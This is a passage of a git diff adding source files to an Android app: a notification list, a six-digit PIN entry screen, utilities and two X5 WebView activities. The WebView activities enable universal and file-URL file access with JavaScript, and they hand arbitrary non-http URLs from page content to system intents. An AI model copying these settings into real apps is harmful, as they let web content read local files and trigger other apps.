getIntent().getSerializableExtra("message"); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + recyclerView = findViewById(R.id.recycler_nofity); + manager = new LinearLayoutManager(this); + recyclerView.setLayoutManager(manager); + recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { + + @Override + public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { + int visibleCount = manager.getChildCount(); + int totalCount = manager.getItemCount(); + int firstvisibleCount = manager.findFirstVisibleItemPosition(); + if (visibleCount > 0 && visibleCount + firstvisibleCount == totalCount) { //滑动到底部 + if (!isNextPages) { +// Toast.makeText(NotifyListActivity.this, getString(R.string.app_toastloading), Toast.LENGTH_SHORT).show(); + return; + } + page++; + getNotifyList(); + } +// super.onScrolled(recyclerView, dx, dy); + } + }); + adapter = new MyNotifyListAdapter(NotifyListActivity.this, listdata,messageInfoItem); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(new MyNotifyListAdapter.onItemClickPostionListener() { + @Override + public void item(int position) { + try{ + MessageInfo messageInfo = listdata.get(position); + Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl())); + startActivity(intent); + }catch (Exception e){ + + } + + } + }); + getNotifyList(); + } + + public void getNotifyList() { + //通知列表 + Api.getInstance().getNotifyList(userId, page, 10) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if(o.data!=null){ + isNextPages = o.data.isHasNextPage(); + if (page == 1) { + listdata.clear(); + } + listdata.addAll(o.data.getList()); + adapter.setListdata(listdata); + + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + if (page > 1) { + page--; + } + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + if (page > 1) { + page--; + } + } + }); + } +} diff --git a/base_no_all/src/main/java/com/web/base/Result.java b/base_no_all/src/main/java/com/web/base/Result.java new file mode 100644 index 0000000..4251091 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/Result.java @@ -0,0 +1,29 @@ +package com.web.base; + + +import java.io.Serializable; + +/** + * created by wmm on 2020/9/8 + */ +public class Result implements Serializable { + + public String error; + public int code; + public T data; + public String message; + + + public boolean isSuccessful() { + return code == 1; + } + + @Override + public String toString() { + return "Result{" + + "message='" + error + '\'' + + ", code=" + code + + ", data=" + GsonUtils.beanToJSONString(data) + + '}'; + } +} diff --git a/base_no_all/src/main/java/com/web/base/ResultDataInfo.java b/base_no_all/src/main/java/com/web/base/ResultDataInfo.java new file mode 100644 index 0000000..21c09e1 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/ResultDataInfo.java @@ -0,0 +1,45 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class ResultDataInfo implements Serializable { + + public List list; + public int pages; + public int total; + public boolean hasNextPage; + + + public boolean isHasNextPage() { + return hasNextPage; + } + + public void setHasNextPage(boolean hasNextPage) { + this.hasNextPage = hasNextPage; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + public int getPages() { + return pages; + } + + public void setPages(int pages) { + this.pages = pages; + } + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } +} diff --git a/base_no_all/src/main/java/com/web/base/StartActivity.java b/base_no_all/src/main/java/com/web/base/StartActivity.java new file mode 100644 index 0000000..0361614 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/StartActivity.java @@ -0,0 +1,219 @@ +package com.web.base; + +import android.content.Intent; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import java.math.BigDecimal; + +public class StartActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, btn_equal; + private TextView password1; + private TextView password2; + private TextView password3; + private TextView password4; + private TextView password5; + private TextView password6; + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_start); + + setListener(); + getNetUrl(); + + } + + public void setListener() { + + + password1 = (TextView) findViewById(R.id.password_1); + password2 = (TextView) findViewById(R.id.password_2); + password3 = (TextView) findViewById(R.id.password_3); + password4 = (TextView) findViewById(R.id.password_4); + password5 = (TextView) findViewById(R.id.password_5); + password6 = (TextView) findViewById(R.id.password_6); + + + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + } + + String password = ""; + + /** + * 0 正常增加 1 删除 2 更新 + * + * @param string + * @param type + */ + public void addInput(String string, int type) { + if (type == 0) { + if (password.length() < 6) { + password += string; + } + } else if (type == 1) { + password = password.substring(0, password.length() - 1); + } + if (password.length() == 6) { + password6.setText(password.charAt(5) + ""); + toNext(); + } else { + password6.setText(""); + if (password.length() == 5) { + password5.setText(password.charAt(4) + ""); + } else { + password5.setText(""); + if (password.length() == 4) { + password4.setText(password.charAt(3) + ""); + } else { + password4.setText(""); + if (password.length() == 3) { + password3.setText(password.charAt(2) + ""); + } else { + password3.setText(""); + if (password.length() == 2) { + password2.setText(password.charAt(1) + ""); + } else { + password2.setText(""); + if (password.length() == 1) { + password1.setText(password.charAt(0) + ""); + } else { + password1.setText(""); + } + } + } + } + } + } + } + + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(StartActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + Handler handler = new Handler(); + + private void toNext() { + MainActivity.saveString(StartActivity.this, "loc_pass", password); + Intent intent = new Intent(StartActivity.this, MainActivity2.class); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + finish(); + + } + + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0", 0); +// break; +// case R.id.btn_1: +// addInput("1", 0); +// break; +// case R.id.btn_2: +// addInput("2", 0); +// break; +// case R.id.btn_3: +// addInput("3", 0); +// break; +// case R.id.btn_4: +// addInput("4", 0); +// break; +// case R.id.btn_5: +// addInput("5", 0); +// break; +// case R.id.btn_6: +// addInput("6", 0); +// break; +// case R.id.btn_7: +// addInput("7", 0); +// break; +// case R.id.btn_8: +// addInput("8", 0); +// break; +// case R.id.btn_9: +// addInput("9", 0); +// break; +// +// case R.id.btn_equal: +// deleteInput(); +// break; + } + } + + private void deleteInput() { + if (TextUtils.isEmpty(password)) { + addInput("", 2); + } else { + addInput(password, 1); + } + } + + @Override + protected void onDestroy() { + super.onDestroy(); + } +} \ No newline at end of file diff --git a/base_no_all/src/main/java/com/web/base/StatusLayout.java b/base_no_all/src/main/java/com/web/base/StatusLayout.java new file mode 100644 index 0000000..20a4941 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/StatusLayout.java @@ -0,0 +1,44 @@ +package com.web.base; + +import android.content.Context; +import android.util.AttributeSet; +import android.view.ViewGroup; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; + +/** + * Created by kiun_2007 on 2018/3/29. + */ + +public class StatusLayout extends LinearLayout { + public StatusLayout(Context context) { + this(context, null); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs) { + this(context, attrs, 0); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + } + + private int getStatusBarHeight(Context context) { + int result = 0; + int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = context.getResources().getDimensionPixelSize(resourceId); + } + return result; + } + + @Override + protected void onAttachedToWindow() { + ViewGroup.LayoutParams lp = this.getLayoutParams(); + lp.width = -1; + lp.height = getStatusBarHeight(getContext()); + this.setLayoutParams(lp); + super.onAttachedToWindow(); + } +} diff --git a/base_no_all/src/main/java/com/web/base/Utils.java b/base_no_all/src/main/java/com/web/base/Utils.java new file mode 100644 index 0000000..94629dc --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/Utils.java @@ -0,0 +1,65 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.SharedPreferences; +import android.provider.Settings; + +public class Utils { + + public static boolean isImageUrl(String url) { + String end = url.substring(url.lastIndexOf(".") + 1).toLowerCase(); + String[] images = new String[]{"jpeg", "png", "jpg", "bmp", "webp", "gif"}; + for (String name : images) { + if (end.equals(name)) { + return true; + } + } + return false; + } + + + public static String getUniqueId(Context context) { + + @SuppressLint("HardwareIds") + // ANDROID_ID是设备第一次启动时产生和存储的64bit的一个数,当设备被wipe后该数重置。 + String androidID = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); +// @SuppressLint("HardwareIds") + // String id = androidID + Build.SERIAL; // +硬件序列号 + return androidID; + +// try { +// return toMD5(id); +// } catch (NoSuchAlgorithmException e) { +// e.printStackTrace(); +// return id; +// } + } + + + /** + * @param @param key 要获取的key + */ + public static String get(Context context, String key, String defaultValue) { + SharedPreferences nameSetting = getConfigShared(context); + return nameSetting.getString(key, defaultValue); + } + + /** + * @param key 要设置的key + */ + public static void set(Context activity, String key, String is) { + SharedPreferences nameSetting = getConfigShared(activity); + SharedPreferences.Editor namePref = nameSetting.edit(); + namePref.putString(key, is); + namePref.commit(); + } + + public static SharedPreferences getConfigShared(Context context) { + + SharedPreferences sharedPreferences = + context.getSharedPreferences("notify_data", Context.MODE_MULTI_PROCESS); + return sharedPreferences; + } + +} diff --git a/base_no_all/src/main/java/com/web/base/WebView2Activity.java b/base_no_all/src/main/java/com/web/base/WebView2Activity.java new file mode 100644 index 0000000..2f1cd6f --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/WebView2Activity.java @@ -0,0 +1,327 @@ +package com.web.base; + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.tencent.smtt.export.external.interfaces.ConsoleMessage; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + + +public class WebView2Activity extends AppCompatActivity { + + private String url; + WebView webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_webview); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + settings.setMediaPlaybackRequiresUserGesture(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebView2Activity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { + LogUtils.d("consolemessage==" + consoleMessage.message()); + return true; + } + + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + } + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebView2Activity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; +// new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 +// new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + webView.goBack(); + } else {//不能返回了 + WebView2Activity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_no_all/src/main/java/com/web/base/WebViewActivity.java b/base_no_all/src/main/java/com/web/base/WebViewActivity.java new file mode 100644 index 0000000..57112ec --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/WebViewActivity.java @@ -0,0 +1,450 @@ +package com.web.base; + + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + +public class WebViewActivity extends AppCompatActivity { + + private String url; + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebViewActivity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; +// new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 +// new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + webView.setOnGenericMotionListener(new View.OnGenericMotionListener() { + @Override + public boolean 